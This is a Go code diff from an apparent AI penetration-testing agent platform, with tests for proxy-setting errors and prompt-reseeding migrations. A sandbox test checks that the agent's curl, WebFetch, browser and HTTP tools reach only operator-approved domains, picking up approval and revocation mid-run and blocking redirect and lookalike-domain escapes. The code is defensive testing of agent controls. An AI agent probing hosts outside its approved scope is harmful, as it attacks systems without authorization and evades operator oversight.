func (f fakeGlobalProxyReader) GetSetting(key string) (string, bool, error) {
|
||||||
|
if key != settingGlobalProxy {
|
||||||
|
return "", false, errors.New("unexpected setting key: " + key)
|
||||||
|
}
|
||||||
|
return f.val, f.ok, f.err
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestManagerLoadGlobalProxyErrorFailsClosed(t *testing.T) {
|
||||||
|
dbErr := errors.New("dial tcp 127.0.0.1:5432: connect: connection refused")
|
||||||
|
m := &Manager{globalProxy: "http://user:s3cr3t@proxy.corp:3128"}
|
||||||
|
|
||||||
|
err := m.loadGlobalProxy(fakeGlobalProxyReader{err: dbErr})
|
||||||
|
if err == nil {
|
||||||
|
t.Fatalf("loadGlobalProxy returned nil error on GetSetting failure; globalProxy=%q ProxyAddr=%q", m.GlobalProxy(), m.ProxyAddr())
|
||||||
|
}
|
||||||
|
if !errors.Is(err, dbErr) {
|
||||||
|
t.Fatalf("error = %v, want wrapped %v", err, dbErr)
|
||||||
|
}
|
||||||
|
if !strings.Contains(err.Error(), settingGlobalProxy) {
|
||||||
|
t.Fatalf("error %q should name %q", err.Error(), settingGlobalProxy)
|
||||||
|
}
|
||||||
|
if strings.Contains(err.Error(), "s3cr3t") || strings.Contains(err.Error(), "proxy.corp") {
|
||||||
|
t.Fatalf("error leaked proxy credentials or host: %q", err.Error())
|
||||||
|
}
|
||||||
|
if got := m.GlobalProxy(); got != "http://user:s3cr3t@proxy.corp:3128" {
|
||||||
|
t.Fatalf("failed read overwrote existing globalProxy with %q", got)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Fresh manager must also fail closed rather than silently defaulting to direct.
|
||||||
|
fresh := &Manager{}
|
||||||
|
if err := fresh.loadGlobalProxy(fakeGlobalProxyReader{err: dbErr}); err == nil {
|
||||||
|
t.Fatalf("fresh manager loadGlobalProxy returned nil error on GetSetting failure; ProxyAddr=%q", fresh.ProxyAddr())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestManagerLoadGlobalProxyUnsetClearsToDirect(t *testing.T) {
|
||||||
|
m := &Manager{globalProxy: "http://old.corp:3128"}
|
||||||
|
if err := m.loadGlobalProxy(fakeGlobalProxyReader{}); err != nil {
|
||||||
|
t.Fatalf("loadGlobalProxy(unset) = %v, want nil", err)
|
||||||
|
}
|
||||||
|
if got := m.GlobalProxy(); got != "" {
|
||||||
|
t.Fatalf("GlobalProxy() = %q, want empty (direct)", got)
|
||||||
|
}
|
||||||
|
if got := m.ProxyAddr(); got != "" {
|
||||||
|
t.Fatalf("ProxyAddr() = %q, want empty (direct)", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestManagerLoadGlobalProxyValidTrimsWhitespace(t *testing.T) {
|
||||||
|
m := &Manager{}
|
||||||
|
raw := " http://user:s3cr3t@proxy.corp:3128 "
|
||||||
|
want := "http://user:s3cr3t@proxy.corp:3128"
|
||||||
|
if err := m.loadGlobalProxy(fakeGlobalProxyReader{val: raw, ok: true}); err != nil {
|
||||||
|
t.Fatalf("loadGlobalProxy(valid) = %v, want nil", err)
|
||||||
|
}
|
||||||
|
if got := m.GlobalProxy(); got != want {
|
||||||
|
t.Fatalf("GlobalProxy() = %q, want %q", got, want)
|
||||||
|
}
|
||||||
|
if got := m.ProxyAddr(); got != want {
|
||||||
|
t.Fatalf("ProxyAddr() = %q, want %q", got, want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestManagerLoadGlobalProxyNilStoreFailsClosed(t *testing.T) {
|
||||||
|
m := &Manager{}
|
||||||
|
if err := m.loadGlobalProxy(nil); err == nil {
|
||||||
|
t.Fatal("loadGlobalProxy(nil) returned nil, want error")
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -624,7 +624,7 @@ func (s *Server) seedOrchestrationTools() {
|
|||||||
s.reseedMainAgentPrompt() // mainagent prompt updated to orchestration-only (no shell/file/HTTP tools) → old DBs append a new default version (one-time)
|
s.reseedMainAgentPrompt() // mainagent prompt updated to orchestration-only (no shell/file/HTTP tools) → old DBs append a new default version (one-time)
|
||||||
s.reseedAutoPrompt() // auto prompt hardened with explicit spawn_task(seed_first_intent=true) dispatch rules (one-time)
|
s.reseedAutoPrompt() // auto prompt hardened with explicit spawn_task(seed_first_intent=true) dispatch rules (one-time)
|
||||||
s.reseedPlannerPrompt() // planner prompt: rewrites the "zero intents" justification rules + adds quantitative acceptance checks (one-time)
|
s.reseedPlannerPrompt() // planner prompt: rewrites the "zero intents" justification rules + adds quantitative acceptance checks (one-time)
|
||||||
s.reseedWorkerPrompt() // worker prompt: adds the evidence bar for negative conclusions (one-time)
|
s.reseedWorkerPrompt() // worker prompt: evidence quotes output lines only, the command goes in detail (one-time)
|
||||||
s.seedReporterAgent() // seeds the "report writer" agent + tool bindings + finding trigger (one-time)
|
s.seedReporterAgent() // seeds the "report writer" agent + tool bindings + finding trigger (one-time)
|
||||||
s.upgradeReporterTriggerMessage() // backfill migration for old DBs: makes the reporter send evidence_version back (one-time)
|
s.upgradeReporterTriggerMessage() // backfill migration for old DBs: makes the reporter send evidence_version back (one-time)
|
||||||
s.seedFindingTrafficTools() // adds optional evidence params and read-only evidence tools, preserving user config
|
s.seedFindingTrafficTools() // adds optional evidence params and read-only evidence tools, preserving user config
|
||||||
@@ -633,7 +633,7 @@ func (s *Server) seedOrchestrationTools() {
|
|||||||
s.seedFindingEvidenceSchema() // optional counterevidence / confidence_rationale on report_finding, added once per DB
|
s.seedFindingEvidenceSchema() // optional counterevidence / confidence_rationale on report_finding, added once per DB
|
||||||
s.seedFactInputSchema() // restore record_fact single/batch contracts
|
s.seedFactInputSchema() // restore record_fact single/batch contracts
|
||||||
s.seedFactSourceSchema() // source enum on record_fact, added once per DB
|
s.seedFactSourceSchema() // source enum on record_fact, added once per DB
|
||||||
s.refreshRecordFactContract() // record_fact publishes the facts-only contract (one-time)
|
s.refreshRecordFactContract() // record_fact publishes the current contract texts (one-time per flag)
|
||||||
s.seedTaskScopeDescription() // add_task_scope: "coverage scope, not enforced" replaces the authorization-boundary text
|
s.seedTaskScopeDescription() // add_task_scope: "coverage scope, not enforced" replaces the authorization-boundary text
|
||||||
// Note: pentest's default tool bindings need no migration — BuiltinToolSeeds already seeds
|
// Note: pentest's default tool bindings need no migration — BuiltinToolSeeds already seeds
|
||||||
// list_assets/insert_assets/report_finding/list_findings/list_companies together with
|
// list_assets/insert_assets/report_finding/list_findings/list_companies together with
|
||||||
@@ -889,11 +889,12 @@ func (s *Server) reseedPlannerPrompt() {
|
|||||||
|
|
||||||
// reseedWorkerPrompt refreshes the worker prompt to [the current code default] — the record_fact section of the default body dropped the whole "for negative conclusions,
|
// reseedWorkerPrompt refreshes the worker prompt to [the current code default] — the record_fact section of the default body dropped the whole "for negative conclusions,
|
||||||
// write observations + tentative readings" sentence and decoupled confidence (observed/inferred) from "whether this intent's options are exhausted" (these easily mislead the planner),
|
// write observations + tentative readings" sentence and decoupled confidence (observed/inferred) from "whether this intent's options are exhausted" (these easily mislead the planner),
|
||||||
// and tightened per-item facts arrays to the rare exception of "fully independent of each other, impossible to merge". Bumped the flag to v3 so existing old DBs refresh once more.
|
// and tightened per-item facts arrays to the rare exception of "fully independent of each other, impossible to merge". v5: evidence quotes output lines only
|
||||||
|
// and the command goes in detail, matching the provenance check. Bump the flag so existing old DBs refresh once more.
|
||||||
// SeedPromptIfEmpty is first-insert-only; versions already in old DBs never got it, so version management [appends a new version] and switches to it; old versions stay in history and can be recovered.
|
// SeedPromptIfEmpty is first-insert-only; versions already in old DBs never got it, so version management [appends a new version] and switches to it; old versions stay in history and can be recovered.
|
||||||
// settings flag guard → done only once. Fresh DBs need nothing. Structurally identical to reseedGoalsPrompt.
|
// settings flag guard → done only once. Fresh DBs need nothing. Structurally identical to reseedGoalsPrompt.
|
||||||
func (s *Server) reseedWorkerPrompt() {
|
func (s *Server) reseedWorkerPrompt() {
|
||||||
const flag = "worker_prompt_compact_v4"
|
const flag = "worker_prompt_compact_v5"
|
||||||
if v, _, _ := s.m.pg.GetSetting(flag); v == "true" {
|
if v, _, _ := s.m.pg.GetSetting(flag); v == "true" {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -914,7 +915,7 @@ func (s *Server) reseedWorkerPrompt() {
|
|||||||
log.Printf("[prompts] failed to refresh worker prompt to the new default: %v", err)
|
log.Printf("[prompts] failed to refresh worker prompt to the new default: %v", err)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
log.Printf("[prompts] worker prompt: appended a new default version (context-lookup section narrowed to list_assets/list_findings, dropping list_facts/node_detail/asset_neighbors, one-time)")
|
log.Printf("[prompts] worker prompt: appended a new default version (evidence quotes output lines only, the command goes in detail, one-time)")
|
||||||
}
|
}
|
||||||
|
|
||||||
// reporterToolCallMessage must unconditionally require reading get_finding_traffic once before writing the report.
|
// reporterToolCallMessage must unconditionally require reading get_finding_traffic once before writing the report.
|
||||||
|
|||||||
@@ -0,0 +1,138 @@
|
|||||||
|
package server
|
||||||
|
|
||||||
|
import (
|
||||||
|
"io/fs"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"regexp"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
// The shared browser and the browser MCP run the Chromium builds that the
|
||||||
|
// image's Playwright packages install, with --no-sandbox. Each package must
|
||||||
|
// stay on a release that bundles Chromium 157.0.8103.50 or later. The
|
||||||
|
// minimums are the first releases that do, read from each release's
|
||||||
|
// playwright-core browsers.json:
|
||||||
|
// - playwright 1.65.0: Chromium 158.0.8127.18 (1.64.1 ships 156.0.8078.4)
|
||||||
|
// - @playwright/mcp 0.0.85: 158.0.8127.18 (0.0.84 ships 157.0.8103.15)
|
||||||
|
// - @playwright/cli 0.1.24: 158.0.8127.18 (0.1.23 ships 157.0.8103.15)
|
||||||
|
var playwrightMinimumPins = map[string]string{
|
||||||
|
"PLAYWRIGHT_VERSION": "1.65.0",
|
||||||
|
"PLAYWRIGHT_MCP_VERSION": "0.0.85",
|
||||||
|
"PLAYWRIGHT_CLI_VERSION": "0.1.24",
|
||||||
|
}
|
||||||
|
|
||||||
|
func dockerfilePlaywrightPins(t *testing.T) map[string]string {
|
||||||
|
t.Helper()
|
||||||
|
raw, err := os.ReadFile(filepath.Join("..", "Dockerfile"))
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("read Dockerfile: %v", err)
|
||||||
|
}
|
||||||
|
pins := map[string]string{}
|
||||||
|
re := regexp.MustCompile(`(?m)^ARG (PLAYWRIGHT(?:_MCP|_CLI)?_VERSION)=(\S+)\s*$`)
|
||||||
|
for _, m := range re.FindAllStringSubmatch(string(raw), -1) {
|
||||||
|
if prev, ok := pins[m[1]]; ok && prev != m[2] {
|
||||||
|
t.Fatalf("Dockerfile declares %s twice: %s and %s", m[1], prev, m[2])
|
||||||
|
}
|
||||||
|
pins[m[1]] = m[2]
|
||||||
|
}
|
||||||
|
for name := range playwrightMinimumPins {
|
||||||
|
if pins[name] == "" {
|
||||||
|
t.Fatalf("Dockerfile has no ARG %s", name)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return pins
|
||||||
|
}
|
||||||
|
|
||||||
|
// parseReleaseVersion accepts only a plain MAJOR.MINOR.PATCH release: a
|
||||||
|
// prerelease or a tag such as "latest" does not name reviewed bytes.
|
||||||
|
func parseReleaseVersion(v string) ([3]int, bool) {
|
||||||
|
var out [3]int
|
||||||
|
parts := strings.Split(v, ".")
|
||||||
|
if len(parts) != 3 {
|
||||||
|
return out, false
|
||||||
|
}
|
||||||
|
for i, p := range parts {
|
||||||
|
n, err := strconv.Atoi(p)
|
||||||
|
if err != nil || n < 0 || strconv.Itoa(n) != p {
|
||||||
|
return out, false
|
||||||
|
}
|
||||||
|
out[i] = n
|
||||||
|
}
|
||||||
|
return out, true
|
||||||
|
}
|
||||||
|
|
||||||
|
func versionAtLeast(got, floor [3]int) bool {
|
||||||
|
for i := range got {
|
||||||
|
if got[i] != floor[i] {
|
||||||
|
return got[i] > floor[i]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestDockerfilePlaywrightPinsBundleFixedChromium(t *testing.T) {
|
||||||
|
pins := dockerfilePlaywrightPins(t)
|
||||||
|
for name, floor := range playwrightMinimumPins {
|
||||||
|
got, ok := parseReleaseVersion(pins[name])
|
||||||
|
if !ok {
|
||||||
|
t.Errorf("Dockerfile ARG %s=%s is not an exact release version", name, pins[name])
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
want, _ := parseReleaseVersion(floor)
|
||||||
|
if !versionAtLeast(got, want) {
|
||||||
|
t.Errorf("Dockerfile ARG %s=%s bundles Chromium older than 157.0.8103.50; need %s or later", name, pins[name], floor)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Skills that tell an agent to install a Playwright package must name the
|
||||||
|
// version the image ships, never a floating tag.
|
||||||
|
func TestSkillPlaywrightInstallsMatchDockerfilePins(t *testing.T) {
|
||||||
|
pins := dockerfilePlaywrightPins(t)
|
||||||
|
want := map[string]string{
|
||||||
|
"@playwright/cli": pins["PLAYWRIGHT_CLI_VERSION"],
|
||||||
|
"@playwright/mcp": pins["PLAYWRIGHT_MCP_VERSION"],
|
||||||
|
"@playwright/test": pins["PLAYWRIGHT_VERSION"],
|
||||||
|
"playwright": pins["PLAYWRIGHT_VERSION"],
|
||||||
|
}
|
||||||
|
re := regexp.MustCompile(`(@playwright/(?:cli|mcp|test)|playwright)@([0-9A-Za-z.\-]+)`)
|
||||||
|
root := filepath.Join("..", "skills")
|
||||||
|
seen := 0
|
||||||
|
err := filepath.WalkDir(root, func(path string, d fs.DirEntry, err error) error {
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if d.IsDir() || filepath.Ext(path) != ".md" {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
raw, err := os.ReadFile(path)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
text := string(raw)
|
||||||
|
for _, m := range re.FindAllStringSubmatchIndex(text, -1) {
|
||||||
|
pkg, ver := text[m[2]:m[3]], text[m[4]:m[5]]
|
||||||
|
if pkg == "playwright" && m[2] > 0 {
|
||||||
|
// Part of another name, such as create-playwright@ or a path.
|
||||||
|
if c := text[m[2]-1]; c == '/' || c == '-' || c == '_' || c == '.' ||
|
||||||
|
(c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z') || (c >= '0' && c <= '9') {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
}
|
||||||
|
seen++
|
||||||
|
if ver != want[pkg] {
|
||||||
|
t.Errorf("%s: %s@%s, want %s@%s (the Dockerfile pin)", path, pkg, ver, pkg, want[pkg])
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("walk skills: %v", err)
|
||||||
|
}
|
||||||
|
if seen == 0 {
|
||||||
|
t.Fatal("no Playwright install found in skills/; the playwright-cli skill should name its pinned version")
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,290 @@
|
|||||||
|
package server
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"database/sql"
|
||||||
|
"database/sql/driver"
|
||||||
|
"encoding/json"
|
||||||
|
"errors"
|
||||||
|
"io"
|
||||||
|
"net/http"
|
||||||
|
"net/http/httptest"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"sync/atomic"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"github.com/Autumn-27/artex/agent"
|
||||||
|
"github.com/Autumn-27/artex/db"
|
||||||
|
"github.com/Autumn-27/artex/sandbox"
|
||||||
|
actool "github.com/Autumn-27/norma/tool"
|
||||||
|
)
|
||||||
|
|
||||||
|
type fakeScopeRow struct {
|
||||||
|
taskID int64
|
||||||
|
kind string
|
||||||
|
domain string
|
||||||
|
netStr string
|
||||||
|
value string
|
||||||
|
companyID int64
|
||||||
|
expanded bool
|
||||||
|
approvedByOperator bool
|
||||||
|
}
|
||||||
|
|
||||||
|
type fakeScopeDB struct {
|
||||||
|
mu sync.Mutex
|
||||||
|
rows []fakeScopeRow
|
||||||
|
}
|
||||||
|
|
||||||
|
func (f *fakeScopeDB) setApproved(taskID int64, domain string, approved bool) {
|
||||||
|
f.mu.Lock()
|
||||||
|
defer f.mu.Unlock()
|
||||||
|
for i := range f.rows {
|
||||||
|
if f.rows[i].taskID == taskID && f.rows[i].domain == domain {
|
||||||
|
f.rows[i].approvedByOperator = approved
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (f *fakeScopeDB) Connect(context.Context) (driver.Conn, error) {
|
||||||
|
return &fakeScopeConn{store: f}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (f *fakeScopeDB) Driver() driver.Driver { return fakeScopeDriver{} }
|
||||||
|
|
||||||
|
type fakeScopeDriver struct{}
|
||||||
|
|
||||||
|
func (fakeScopeDriver) Open(string) (driver.Conn, error) {
|
||||||
|
return nil, errors.New("fakeScopeDriver must be opened through Connector")
|
||||||
|
}
|
||||||
|
|
||||||
|
type fakeScopeConn struct {
|
||||||
|
store *fakeScopeDB
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *fakeScopeConn) Prepare(string) (driver.Stmt, error) {
|
||||||
|
return nil, errors.New("not supported")
|
||||||
|
}
|
||||||
|
func (c *fakeScopeConn) Close() error { return nil }
|
||||||
|
func (c *fakeScopeConn) Begin() (driver.Tx, error) { return nil, errors.New("not supported") }
|
||||||
|
|
||||||
|
func (c *fakeScopeConn) QueryContext(_ context.Context, query string, args []driver.NamedValue) (driver.Rows, error) {
|
||||||
|
c.store.mu.Lock()
|
||||||
|
defer c.store.mu.Unlock()
|
||||||
|
|
||||||
|
if strings.Contains(query, "FROM task_scope ") {
|
||||||
|
var tid int64
|
||||||
|
if len(args) > 0 {
|
||||||
|
if v, ok := args[0].Value.(int64); ok {
|
||||||
|
tid = v
|
||||||
|
}
|
||||||
|
}
|
||||||
|
var out [][]driver.Value
|
||||||
|
for _, r := range c.store.rows {
|
||||||
|
if r.taskID == tid && r.approvedByOperator && !r.expanded {
|
||||||
|
out = append(out, []driver.Value{
|
||||||
|
r.kind,
|
||||||
|
r.domain,
|
||||||
|
r.netStr,
|
||||||
|
r.value,
|
||||||
|
r.companyID,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return &fakeScopeRows{
|
||||||
|
cols: []string{"kind", "domain", "net", "value", "company_id"},
|
||||||
|
data: out,
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
if strings.Contains(query, "FROM task_intercept_rules") {
|
||||||
|
return &fakeScopeRows{
|
||||||
|
cols: []string{"kind", "pattern"},
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
return &fakeScopeRows{cols: []string{"kind", "value"}}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
type fakeScopeRows struct {
|
||||||
|
cols []string
|
||||||
|
data [][]driver.Value
|
||||||
|
idx int
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r *fakeScopeRows) Columns() []string { return r.cols }
|
||||||
|
func (r *fakeScopeRows) Close() error { return nil }
|
||||||
|
func (r *fakeScopeRows) Next(dest []driver.Value) error {
|
||||||
|
if r.idx >= len(r.data) {
|
||||||
|
return io.EOF
|
||||||
|
}
|
||||||
|
copy(dest, r.data[r.idx])
|
||||||
|
r.idx++
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func openFakeScopePG(t *testing.T, initial []fakeScopeRow) (*db.DB, *fakeScopeDB) {
|
||||||
|
t.Helper()
|
||||||
|
store := &fakeScopeDB{rows: append([]fakeScopeRow(nil), initial...)}
|
||||||
|
sqlDB := sql.OpenDB(store)
|
||||||
|
t.Cleanup(func() { _ = sqlDB.Close() })
|
||||||
|
return &db.DB{DB: sqlDB}, store
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestEngineTaskSandboxRefreshesApprovedRootDomainMidRun reproduces #968:
|
||||||
|
// an intent/round starts with an unapproved root_domain row in task_scope, and
|
||||||
|
// the operator subsequently approves it without restarting the task. Bash
|
||||||
|
// (ExecInSandbox), WebFetch, sharedBrowserTool, and custom HTTP tools sharing
|
||||||
|
// the in-flight context must pick up the newly approved domain immediately (and
|
||||||
|
// drop it again if revoked).
|
||||||
|
func TestEngineTaskSandboxRefreshesApprovedRootDomainMidRun(t *testing.T) {
|
||||||
|
prev := agent.CurrentSandboxExecutor()
|
||||||
|
t.Cleanup(func() { agent.SetSandboxExecutor(prev) })
|
||||||
|
|
||||||
|
stub := &stubSandboxClient{
|
||||||
|
execResp: sandbox.ExecResponse{ExitCode: 0, Stdout: "ok"},
|
||||||
|
}
|
||||||
|
agent.SetSandboxExecutor(&agent.SandboxExecutor{
|
||||||
|
Mode: sandbox.ModeRequired,
|
||||||
|
Runner: stub,
|
||||||
|
})
|
||||||
|
|
||||||
|
pg, store := openFakeScopePG(t, []fakeScopeRow{
|
||||||
|
{
|
||||||
|
taskID: 6,
|
||||||
|
kind: "root_domain",
|
||||||
|
domain: "xxx.com",
|
||||||
|
approvedByOperator: false,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
taskID: 6,
|
||||||
|
kind: "ip",
|
||||||
|
netStr: "127.0.0.1/32",
|
||||||
|
approvedByOperator: true,
|
||||||
|
},
|
||||||
|
})
|
||||||
|
|
||||||
|
e := NewEngine(&Manager{pg: pg})
|
||||||
|
e.SetSandbox(stub, sandbox.ModeRequired, t.TempDir())
|
||||||
|
|
||||||
|
// Freeze-avoidance test: ctx is created once when the intent/round begins.
|
||||||
|
baseCtx := e.withTaskSandbox(context.Background(), "6")
|
||||||
|
|
||||||
|
var proxyHits atomic.Int32
|
||||||
|
proxySrv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||||
|
proxyHits.Add(1)
|
||||||
|
if r.URL.String() == "http://xxx.com/redir-ok" {
|
||||||
|
http.Redirect(w, r, "http://sub.xxx.com/probe", http.StatusFound)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if r.URL.String() == "http://xxx.com/redir-evil" {
|
||||||
|
http.Redirect(w, r, "http://evil-xxx.com/probe", http.StatusFound)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
_, _ = w.Write([]byte("PROXIED_BODY"))
|
||||||
|
}))
|
||||||
|
t.Cleanup(proxySrv.Close)
|
||||||
|
|
||||||
|
ctx := sandbox.WithResolver(baseCtx, dnsTable(map[string][]string{
|
||||||
|
"xxx.com": {"203.0.113.10"},
|
||||||
|
"sub.xxx.com": {"203.0.113.10"},
|
||||||
|
"evil-xxx.com": {"203.0.113.66"},
|
||||||
|
"other.invalid": {"203.0.113.77"},
|
||||||
|
}))
|
||||||
|
|
||||||
|
wf := agent.NewWebFetchTool(ctx, proxySrv.URL, "")
|
||||||
|
browserCalls := 0
|
||||||
|
browser := &sharedBrowserTool{
|
||||||
|
CoreTool: actool.Build(actool.Spec{
|
||||||
|
Name: "browser_navigate",
|
||||||
|
Description: "navigate",
|
||||||
|
Run: func(_ context.Context, _ json.RawMessage, _ *actool.ToolContext) (actool.Result, error) {
|
||||||
|
browserCalls++
|
||||||
|
return actool.Text("NAVIGATED"), nil
|
||||||
|
},
|
||||||
|
}),
|
||||||
|
}
|
||||||
|
httpSpec, _ := json.Marshal(map[string]any{
|
||||||
|
"method": "GET",
|
||||||
|
"url": "http://xxx.com/probe",
|
||||||
|
"proxy": proxySrv.URL,
|
||||||
|
})
|
||||||
|
wfInput, _ := json.Marshal(map[string]any{"url": "http://xxx.com/probe"})
|
||||||
|
wfSubInput, _ := json.Marshal(map[string]any{"url": "http://sub.xxx.com/probe"})
|
||||||
|
wfRedirOKInput, _ := json.Marshal(map[string]any{"url": "http://xxx.com/redir-ok"})
|
||||||
|
wfRedirEvilInput, _ := json.Marshal(map[string]any{"url": "http://xxx.com/redir-evil"})
|
||||||
|
wfLookalikeInput, _ := json.Marshal(map[string]any{"url": "http://evil-xxx.com/probe"})
|
||||||
|
browserInput, _ := json.Marshal(map[string]any{"url": "https://xxx.com/app"})
|
||||||
|
|
||||||
|
// 1. Before operator approval: xxx.com must NOT be in ScopeDomains and all tools must deny it.
|
||||||
|
if _, err := agent.ExecInSandbox(ctx, []string{"curl", "https://xxx.com"}, "", 5000, nil); err != nil {
|
||||||
|
t.Fatalf("ExecInSandbox before approval: %v", err)
|
||||||
|
}
|
||||||
|
if len(stub.execs) != 1 || len(stub.execs[0].ScopeDomains) != 0 {
|
||||||
|
t.Fatalf("expected empty ScopeDomains before approval, got %+v", stub.execs[0].ScopeDomains)
|
||||||
|
}
|
||||||
|
if res, err := wf.Call(ctx, wfInput, &actool.ToolContext{}); err != nil || !res.IsError || !strings.Contains(res.Flatten(), "not in task scope") {
|
||||||
|
t.Fatalf("WebFetch before approval: res=%+v err=%v", res, err)
|
||||||
|
}
|
||||||
|
if res, err := browser.Call(ctx, browserInput, &actool.ToolContext{}); err != nil || !res.IsError || !strings.Contains(res.Flatten(), "not in task scope") {
|
||||||
|
t.Fatalf("sharedBrowser before approval: res=%+v err=%v", res, err)
|
||||||
|
}
|
||||||
|
if res, err := (&Server{}).runHTTPTool(ctx, "probe", httpSpec, map[string]any{}, nil); err != nil || !res.IsError || !strings.Contains(res.Flatten(), "not in task scope") {
|
||||||
|
t.Fatalf("runHTTPTool before approval: res=%+v err=%v", res, err)
|
||||||
|
}
|
||||||
|
if proxyHits.Load() != 0 || browserCalls != 0 {
|
||||||
|
t.Fatalf("unapproved domain leaked outbound traffic: proxyHits=%d browserCalls=%d", proxyHits.Load(), browserCalls)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 2. Operator approves root_domain xxx.com while the same intent/round ctx is active.
|
||||||
|
store.setApproved(6, "xxx.com", true)
|
||||||
|
|
||||||
|
if _, err := agent.ExecInSandbox(ctx, []string{"curl", "https://xxx.com"}, "", 5000, nil); err != nil {
|
||||||
|
t.Fatalf("ExecInSandbox after approval: %v", err)
|
||||||
|
}
|
||||||
|
if len(stub.execs) != 2 || len(stub.execs[1].ScopeDomains) != 1 || stub.execs[1].ScopeDomains[0] != "xxx.com" {
|
||||||
|
t.Fatalf("ExecInSandbox did not pick up newly approved root_domain xxx.com: got %+v", stub.execs[1].ScopeDomains)
|
||||||
|
}
|
||||||
|
|
||||||
|
for name, payload := range map[string]json.RawMessage{
|
||||||
|
"apex": wfInput,
|
||||||
|
"subdomain": wfSubInput,
|
||||||
|
"redirect": wfRedirOKInput,
|
||||||
|
} {
|
||||||
|
res, err := wf.Call(ctx, payload, &actool.ToolContext{})
|
||||||
|
if err != nil || res.IsError || !strings.Contains(res.Flatten(), "PROXIED_BODY") {
|
||||||
|
t.Fatalf("WebFetch (%s) after approval failed on same session tool: isErr=%v text=%q err=%v", name, res.IsError, res.Flatten(), err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if res, err := wf.Call(ctx, wfRedirEvilInput, &actool.ToolContext{}); err != nil || !res.IsError || !strings.Contains(res.Flatten(), "sandbox WebFetch blocked redirect") {
|
||||||
|
t.Fatalf("WebFetch out-of-scope redirect should remain blocked, got isErr=%v text=%q err=%v", res.IsError, res.Flatten(), err)
|
||||||
|
}
|
||||||
|
if res, err := wf.Call(ctx, wfLookalikeInput, &actool.ToolContext{}); err != nil || !res.IsError || !strings.Contains(res.Flatten(), "not in task scope") {
|
||||||
|
t.Fatalf("WebFetch lookalike domain should remain blocked, got isErr=%v text=%q err=%v", res.IsError, res.Flatten(), err)
|
||||||
|
}
|
||||||
|
|
||||||
|
if res, err := browser.Call(ctx, browserInput, &actool.ToolContext{}); err != nil || res.IsError || res.Flatten() != "NAVIGATED" {
|
||||||
|
t.Fatalf("sharedBrowser after approval failed: isErr=%v text=%q err=%v", res.IsError, res.Flatten(), err)
|
||||||
|
}
|
||||||
|
|
||||||
|
if res, err := (&Server{}).runHTTPTool(ctx, "probe", httpSpec, map[string]any{}, nil); err != nil || res.IsError || !strings.Contains(res.Flatten(), "PROXIED_BODY") {
|
||||||
|
t.Fatalf("runHTTPTool after approval failed: isErr=%v text=%q err=%v", res.IsError, res.Flatten(), err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 3. Operator revokes xxx.com while the same intent/round ctx is active: must fail closed again.
|
||||||
|
store.setApproved(6, "xxx.com", false)
|
||||||
|
|
||||||
|
if _, err := agent.ExecInSandbox(ctx, []string{"curl", "https://xxx.com"}, "", 5000, nil); err != nil {
|
||||||
|
t.Fatalf("ExecInSandbox after revocation: %v", err)
|
||||||
|
}
|
||||||
|
if len(stub.execs) != 3 || len(stub.execs[2].ScopeDomains) != 0 {
|
||||||
|
t.Fatalf("ExecInSandbox retained revoked domain: %+v", stub.execs[2].ScopeDomains)
|
||||||
|
}
|
||||||
|
if res, err := wf.Call(ctx, wfInput, &actool.ToolContext{}); err != nil || !res.IsError || !strings.Contains(res.Flatten(), "not in task scope") {
|
||||||
|
t.Fatalf("WebFetch retained revoked domain: res=%+v err=%v", res, err)
|
||||||
|
}
|
||||||
|
if res, err := browser.Call(ctx, browserInput, &actool.ToolContext{}); err != nil || !res.IsError || !strings.Contains(res.Flatten(), "not in task scope") {
|
||||||
|
t.Fatalf("sharedBrowser retained revoked domain: res=%+v err=%v", res, err)
|
||||||
|
}
|
||||||
|
